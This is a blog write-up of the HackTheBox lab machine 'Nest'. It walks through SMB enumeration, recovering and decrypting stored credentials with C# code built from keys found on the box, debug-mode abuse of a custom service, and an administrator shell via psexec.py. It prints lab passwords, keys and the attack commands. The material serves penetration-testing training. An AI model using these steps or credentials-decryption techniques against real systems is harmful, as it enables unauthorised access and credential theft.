Post

Nest - Easy HTB

Nest (Easy)

Windows ‘easy’ machine from HackTheBox to prep Dante pro lab.

Scanning

let’s run an simple nmap scan on the 1000 most cummon ports: nmap -sC -sV -Pn -T4 --max-retries 1 target_ip

1
2
3
4
5
6
7
8
9
445/tcp open  microsoft-ds?

Host script results:
| smb2-time: 
|   date: 2023-09-21T15:38:34
|_  start_date: 2023-09-21T15:32:17
| smb2-security-mode: 
|   2:1:0: 
|_    Message signing enabled but not required

another for scan all port on the target system. nmap -p- -T4 -Pn target_ip -sV

there is another open port on the machine we will look at this later.

1
4386/tcp open  unknown

Samba share enumeration

let’s enumerate smb share anonymously on the target. smbclient -L //target_ip/

1
2
3
4
5
6
7
8
9
10
Password for [WORKGROUP\root]:

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        Data            Disk      
        IPC$            IPC       Remote IPC
        Secure$         Disk      
        Users           Disk

Try to connect on the “Data” share anonymously: smbclient //10.10.10.178/Data

Once this makes you download all the share count in your attacking machine.

1
2
3
4
5
prompt off

recurse on 

mget *

An interested file will leak us a password, that of the user TempUser.

cat Shared/Templates/HR/Welcome\ Email.txt

Let’s run another scan of the smb shares but this time with the identifiers found.

smbmap -H target_ip -u 'TempUser' -p 'welcome2019'

1
2
3
4
5
6
7
8
9
10
11
12
[*] Detected 1 hosts serving SMB
[*] Established 1 SMB session(s)                                
                                                                                                    
[+] IP: 10.10.10.178:445        Name: 10.10.10.178        
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        ADMIN$                                                  NO ACCESS       Remote Admin
        C$                                                      NO ACCESS       Default share
        Data                                                    READ ONLY
        IPC$                                                    NO ACCESS       Remote IPC
        Secure$                                                 READ ONLY
        Users                                                   READ ONLY

Let’s navigate on the Users share : smbclient //target_ip/Users -U "TempUser%welcome2019"

We have logically accessed the TempUser directory but thanks to this we can create a list of users in the targeted system.

Now let’s go to the “Data” share, download all the local sharing accounts.

1
2
3
4
5
6
7
8
smbclient //target_ip/Data -U "TempUser%welcome2019"

#smbclient shell
prompt on 

recuse on 

mget *

We can see that there is quite a lot contained in the repertoire “IT” let’s see.

In the /IT/NotepasPlusPlus, if you pay attention you can see that there is a reference a file that we do not have access to in/IT (I struggled to find^^)

1
2
3
4
5
<History nbMaxFile="15" inSubMenu="no" customLength="-1">
        <File filename="C:\windows\System32\drivers\etc\hosts" />
        <File filename="\\HTB-NEST\Secure$\IT\Carl\Temp.txt" />
        <File filename="C:\Users\C.Smith\Desktop\todo.txt" />
</History>

If we try to connect to it with smbclient we will have access to the/Carl repertoire:

1
2
3
4
smbclient //Target_ip/Secure$/ -U "TempUser%welcome2019"

#on the smb client shell
cd IT\Carl

You can download the entire count from the Carl directory for local analysis. But we haven’t finished digging through the “data” directory. If you navigate to the directory /’RU Scanner’ you would find a config file containing a password that looks like Base64 try to decode it

1
2
3
4
5
6
7
8
9
10
11
12
13
14
cat RU_config.xml 

#result
<?xml version="1.0"?>
<ConfigFile xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
  <Port>389</Port>
  <Username>c.smith</Username>
  <Password>fTEzAfYDoz1YzkqhQkH6GQFYKp1XY5hm7bjOP86yYxE=</Password>
</ConfigFile>

#Try to decode the password
echo "fTEzAfYDoz1YzkqhQkH6GQFYKp1XY5hm7bjOP86yYxE=" | base64 -d"
#result
}13��=X�J�BA�X*�Wc�f���?βc

Humm ok this password is not encoded it is encrypted.

Decrypt password and Foothold

If we search in the /Carl directory we have downloaded we can go in the /VB Projects directory. in this directory it finds a file called “utils.vb” which is actually a code that will be used to encrypt/decrypt a password one can think that we can try to decrypt the password found with this code. I asked chatGPT to re encode the code in C#(given that I do not know the C#) and therefore see the code that worked for me.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
using System;
using System.IO;
using System.Security.Cryptography;
using System.Text;

public class Utils
{
    public static void Main(string[] args)
    {
        
        string plainText = "Hello, World!";
        string encryptedText = EncryptString(plainText);
        Console.WriteLine("Texte chiffré : " + encryptedText);

        string decryptedText = DecryptString(encryptedText);
        Console.WriteLine("Texte déchiffré : " + decryptedText);
    }

    public static string GetLogFilePath()
    {
        return Path.Combine(Environment.CurrentDirectory, "Log.txt");
    }

    public static string DecryptString(string EncryptedString)
    {
        if (string.IsNullOrEmpty(EncryptedString))
        {
            return string.Empty;
        }
        else
        {
            return Decrypt("fTEzAfYDoz1YzkqhQkH6GQFYKp1XY5hm7bjOP86yYxE=", "N3st22", "88552299", 2, "464R5DFA5DL6LE28", 256);
        }
    }

    public static string EncryptString(string PlainString)
    {
        if (string.IsNullOrEmpty(PlainString))
        {
            return string.Empty;
        }
        else
        {
            return Encrypt(PlainString, "N3st22", "88552299", 2, "464R5DFA5DL6LE28", 256);
        }
    }

    public static string Encrypt(string plainText, string passPhrase, string saltValue, int passwordIterations, string initVector, int keySize)
    {
        byte[] initVectorBytes = Encoding.ASCII.GetBytes(initVector);
        byte[] saltValueBytes = Encoding.ASCII.GetBytes(saltValue);
        byte[] plainTextBytes = Encoding.UTF8.GetBytes(plainText);

        var password = new Rfc2898DeriveBytes(passPhrase, saltValueBytes, passwordIterations);
        byte[] keyBytes = password.GetBytes(keySize / 8);

        using (var symmetricKey = new AesCryptoServiceProvider())
        {
            symmetricKey.Mode = CipherMode.CBC;

            using (var encryptor = symmetricKey.CreateEncryptor(keyBytes, initVectorBytes))
            {
                using (var memoryStream = new MemoryStream())
                {
                    using (var cryptoStream = new CryptoStream(memoryStream, encryptor, CryptoStreamMode.Write))
                    {
                        cryptoStream.Write(plainTextBytes, 0, plainTextBytes.Length);
                        cryptoStream.FlushFinalBlock();
                        byte[] cipherTextBytes = memoryStream.ToArray();
                        return Convert.ToBase64String(cipherTextBytes);
                    }
                }
            }
        }
    }

    public static string Decrypt(string cipherText, string passPhrase, string saltValue, int passwordIterations, string initVector, int keySize)
    {
        byte[] initVectorBytes = Encoding.ASCII.GetBytes(initVector);
        byte[] saltValueBytes = Encoding.ASCII.GetBytes(saltValue);
        byte[] cipherTextBytes = Convert.FromBase64String(cipherText);

        var password = new Rfc2898DeriveBytes(passPhrase, saltValueBytes, passwordIterations);
        byte[] keyBytes = password.GetBytes(keySize / 8);

        using (var symmetricKey = new AesCryptoServiceProvider())
        {
            symmetricKey.Mode = CipherMode.CBC;

            using (var decryptor = symmetricKey.CreateDecryptor(keyBytes, initVectorBytes))
            {
                using (var memoryStream = new MemoryStream(cipherTextBytes))
                {
                    using (var cryptoStream = new CryptoStream(memoryStream, decryptor, CryptoStreamMode.Read))
                    {
                        byte[] plainTextBytes = new byte[cipherTextBytes.Length];
                        int decryptedByteCount = cryptoStream.Read(plainTextBytes, 0, plainTextBytes.Length);
                        return Encoding.UTF8.GetString(plainTextBytes, 0, decryptedByteCount);
                    }
                }
            }
        }
    }
}

To compile the code under linux you must install mono-devel: sudo apt install mono-devel

once this is done it is necessary to create a file . cs with the code C# in it, the compiled. the result of this command is a . exe to run and you will have the password decrypted.

1
2
3
4
5
6
7
mcs file.cs

./file.exe

#result
Texte chiffré : Cg85hlvTV8r+9G717Px1Gw==
Texte déchiffré : xRxRxPANCAK3SxRxRx

Log in with smbclient on the remote target to get the user flag.

1
2
3
4
5
6
smbclient //10.10.10.178/Users/ -U "c.smith%xRxRxPANCAK3SxRxRx"

#on smbclient
cd C.Smith\

get user.txt

Privileges escalation

In the user directory of c.smith we can find another directory called “HQK Reporting”, we can download all its account. A particularly interesting folder seems to contain a password “Debug Mode Password.txt” but when we read it nothing, by the way we can see at the time of download that it is bytes of storage sound a 0. let’s look at that.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
smb: \C.Smith\HQK Reporting\> allinfo "Debug Mode Password.txt"
altname: DEBUGM~1.TXT
create_time:    Thu Aug  8 07:06:12 PM 2019 EDT
access_time:    Thu Aug  8 07:06:12 PM 2019 EDT
write_time:     Thu Aug  8 07:08:17 PM 2019 EDT
change_time:    Wed Jul 21 02:47:12 PM 2021 EDT
attributes: A (20)
stream: [::$DATA], 0 bytes
stream: [:Password:$DATA], 15 bytes

#download the second file 
get "Debug Mode Password.txt:Password"

#cat the file 
cat Debug\ Mode\ Password.txt:Password

#result
WBQ201953D8w

We found a password but what is it? we have another file named “HQK_Config_Backup.xml” they counted information on a networked application on port 4386 this is the port we put aside at the very beginning of challenges. Let’s connect on the port with telnet: telnet target_ip 4386

Everything becomes clearer now if we make a help in the shell we can see marked “debug” our password found serves therefore has activated the debug mode of this application.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
debug WBQ201953D8w

#go to the directory quoted in the file .xml

setdir C:\Program Files\HQK

#list the directory 
list 

#go the Ldap folder 
setid LDAP

#view the content of Ldap.conf
showquery 2

#result 
Domain=nest.local
Port=389
BaseOu=OU=WBQ Users,OU=Production,DC=nest,DC=local
User=Administrator
Password=yyEq0Uvvhq2uQOcWG8peLoeRQehqip/fKdeG/kjEVb4=

we found the administrator password but it seems encrypted try to decrypt it with our code earlier. To tell you the truth, it won’t work. return to our “HQK Reporting” file. a directory named “AD Integration Module” if finds and in it we have a binary named “HqkLdap.exe”, we will have to decouple it to have more information on the latter. To do this we will use the tool dnSpy on windows

once we reverse it let’s go to the sub-branch named “MainModule”. With chatgpt I could understand that the function “CR()” was called to do something related to encryption let’s see.

CR-fonction

The code of this function is very similar to our code that we used to decrypt the password earlier, except that the data used to encrypt the data its different we will have to adapt our code later with the new data.

encrypte-algo

This code have work for me :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
using System;
using System.IO;
using System.Security.Cryptography;
using System.Text;

public class Utils
{
    public static void Main(string[] args)
    {
        // Point d'entrée du programme
        // Vous pouvez mettre ici le code que vous souhaitez exécuter au démarrage de votre programme.
        // Par exemple, vous pouvez appeler vos méthodes DecryptString et EncryptString ici.

        string plainText = "yyEq0Uvvhq2uQOcWG8peLoeRQehqip/fKdeG/kjEVb4=";
        string encryptedText = EncryptString(plainText);
        Console.WriteLine("Texte chiffré : " + encryptedText);

        string decryptedText = DecryptString(encryptedText);
        Console.WriteLine("Texte déchiffré : " + decryptedText);
    }

    public static string GetLogFilePath()
    {
        return Path.Combine(Environment.CurrentDirectory, "Log.txt");
    }

    public static string DecryptString(string EncryptedString)
    {
        if (string.IsNullOrEmpty(EncryptedString))
        {
            return string.Empty;
        }
        else
        {
            return Decrypt("yyEq0Uvvhq2uQOcWG8peLoeRQehqip/fKdeG/kjEVb4=", "667912", "1313Rf99", 3, "1L1SA61493DRV53Z", 256);
        }
    }

    public static string EncryptString(string PlainString)
    {
        if (string.IsNullOrEmpty(PlainString))
        {
            return string.Empty;
        }
        else
        {
            return Encrypt(PlainString, "N3st22", "88552299", 2, "464R5DFA5DL6LE28", 256);
        }
    }

    public static string Encrypt(string plainText, string passPhrase, string saltValue, int passwordIterations, string initVector, int keySize)
    {
        byte[] initVectorBytes = Encoding.ASCII.GetBytes(initVector);
        byte[] saltValueBytes = Encoding.ASCII.GetBytes(saltValue);
        byte[] plainTextBytes = Encoding.UTF8.GetBytes(plainText);

        var password = new Rfc2898DeriveBytes(passPhrase, saltValueBytes, passwordIterations);
        byte[] keyBytes = password.GetBytes(keySize / 8);

        using (var symmetricKey = new AesCryptoServiceProvider())
        {
            symmetricKey.Mode = CipherMode.CBC;

            using (var encryptor = symmetricKey.CreateEncryptor(keyBytes, initVectorBytes))
            {
                using (var memoryStream = new MemoryStream())
                {
                    using (var cryptoStream = new CryptoStream(memoryStream, encryptor, CryptoStreamMode.Write))
                    {
                        cryptoStream.Write(plainTextBytes, 0, plainTextBytes.Length);
                        cryptoStream.FlushFinalBlock();
                        byte[] cipherTextBytes = memoryStream.ToArray();
                        return Convert.ToBase64String(cipherTextBytes);
                    }
                }
            }
        }
    }

    public static string Decrypt(string cipherText, string passPhrase, string saltValue, int passwordIterations, string initVector, int keySize)
    {
        byte[] initVectorBytes = Encoding.ASCII.GetBytes(initVector);
        byte[] saltValueBytes = Encoding.ASCII.GetBytes(saltValue);
        byte[] cipherTextBytes = Convert.FromBase64String(cipherText);

        var password = new Rfc2898DeriveBytes(passPhrase, saltValueBytes, passwordIterations);
        byte[] keyBytes = password.GetBytes(keySize / 8);

        using (var symmetricKey = new AesCryptoServiceProvider())
        {
            symmetricKey.Mode = CipherMode.CBC;

            using (var decryptor = symmetricKey.CreateDecryptor(keyBytes, initVectorBytes))
            {
                using (var memoryStream = new MemoryStream(cipherTextBytes))
                {
                    using (var cryptoStream = new CryptoStream(memoryStream, decryptor, CryptoStreamMode.Read))
                    {
                        byte[] plainTextBytes = new byte[cipherTextBytes.Length];
                        int decryptedByteCount = cryptoStream.Read(plainTextBytes, 0, plainTextBytes.Length);
                        return Encoding.UTF8.GetString(plainTextBytes, 0, decryptedByteCount);
                    }
                }
            }
        }
    }
}

let’s compile it and run.

1
2
3
4
5
6
7
mcs file.cs

./file.exe

#result 
Texte chiffré : bxjqyRhq7IDsx/0szydo2spMD5zuNojxxPgGgPrAZVpgPW4Xdq58LGDUCa1KMg7y
Texte déchiffré : XtH4nkS4Pl4y1nGX

let’s try to connect with administrator account on the target

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
psexec.py administrator:XtH4nkS4Pl4y1nGX@target_ip

Impacket for Exegol - v0.10.1.dev1+20230806.34223.faf17b2 - Copyright 2022 Fortra - forked by ThePorgs

[*] Requesting shares on 10.10.10.178.....
[*] Found writable share ADMIN$
[*] Uploading file EQURMurf.exe
[*] Opening SVCManager on 10.10.10.178.....
[*] Creating service ejeB on 10.10.10.178.....
[*] Starting service ejeB.....
[!] Press help for extra shell commands
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Windows\system32>

#get the flag 
C:\> type C:\Users\Administrator\Desktop\root.txt

Lets go we are Admin !! (easy machine Really 😅?)

This post is licensed under CC BY 4.0 by the author.